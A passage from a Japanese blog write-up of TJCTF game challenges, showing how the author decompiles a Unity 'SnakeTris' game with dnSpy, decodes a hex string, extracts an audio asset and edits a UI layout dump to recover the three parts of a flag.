				this.gs.GameStateComponents[i].GameState = 3;
			}
		}
	}
}

Input.GetButtonDown("Fire1") && を削除すると、クリックせずともナイフが投げっぱなしになりました。

スコア表示に現れる文字を集めるとフラグが得られました。

HERE'S THE FLAG YOU'RE LOOKING FOR! HAHA JKJK... UNLESS..? TJCTF{ORENJI_MANGGOE}

TJCTF{ORENJI_MANGGOE}

[Forensics 80] Gamer F (40 solves)

Now, for my latest release: SnakeTris!

(I’ll let you in on a little hint, there are a few easter eggs in the game!)

添付ファイル: SnakeTrisCTF_win.zip

与えられた ZIP ファイルを展開すると、以下のような Unity 製のゲームが出てきました。スネークゲームとテトリスを組み合わせた全く新しいゲームのようです。

新感覚のゲーム

CTF の問題である以上、真面目にプレイするようなゲームではないでしょう。

とりあえず dnSpy で逆コンパイルしてコードを眺めていると、おそらくクリア時に表示されるであろうテキストが見つかりました。

public class TetrisManager : MonoBehaviour
{

public void CheckLineCompletion()
{
	for (int i = 0; i < this.boardSize + 4; i++)
	{
		if (this.ShouldDeleteRow(this.board[i]))
		{
			GameObject[] array = this.board[i];
			for (int j = 0; j < array.Length; j++)
			{
				Object.Destroy(array[j]);
			}
			for (int k = i + 1; k < this.boardSize; k++)
			{
				array = this.board[k];
				for (int j = 0; j < array.Length; j++)
				{
					GameObject gameObject = array[j];
					if (gameObject != null)
					{
						gameObject.transform.position += new Vector3(0f, -1f);
					}
				}
			}
			this.board.RemoveAt(i--);
			this.board.Add(new GameObject[this.boardSize]);
			this.score++;
			this.linesScoreText.text = string.Concat(this.score);
			this.soundManager.Play("Clear Line");
			if (this.score == 80)
			{
				string text = "506172742031206f6620666c61673a20746a6374667b77683372735f";
				string text2 = "";
				for (int l = 0; l < text.Length; l += 2)
				{
					text2 += byte.Parse(text.Substring(l, 2), NumberStyles.HexNumber).ToString();
				}
				this.messageText.text = text2;
				this.soundManager.Play("Win Sound");
			}
		}
	}
}

}

506172742031206f6620666c61673a20746a6374667b77683372735f をデコードすると Part 1 of flag: tjctf{wh3rs_ になります。フラグの残りの部分を探しましょう。

this.soundManager.Play("Win Sound"); とクリア時になにか音声を流しているのが気になります。

Unity Assets Bundle ExtractorSnakeTris_Data/resources.assets を開き、VictorySound01 をダンプすると流れる音声が抽出できました。これを流すと part2 of flag is: (quote)the_T5sp1n(end quote) or 0x7468655f54357370316e としゃべっている音声が聞こえてきました。

フラグの残りの部分は、実はゲームを起動したときに表示されています。ですが、以下のように上から覆い隠されてしまっています。

隠されている flag part 3

なんとかして動かせないでしょうか。これまた UABE で SnakeTris_Data/level0 を開きます。アセットを眺めていると GameObject panel cover という大変それっぽいものが見つかります。

View Data で詳細情報を見てみると、100 x 50 のそれっぽい RectTransform を持っていることがわかります。

それっぽいやつ

Path ID が 107 のアセットを探して Export Dump し、ダンプしたファイルの m_LocalPositionm_AnchoredPositionxy0 に書き換えます。Import Dump して元の RectTransform を置き換えると、この矩形をどかして下にある文字列を見ることができました。

flag part 3 が得られた

このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳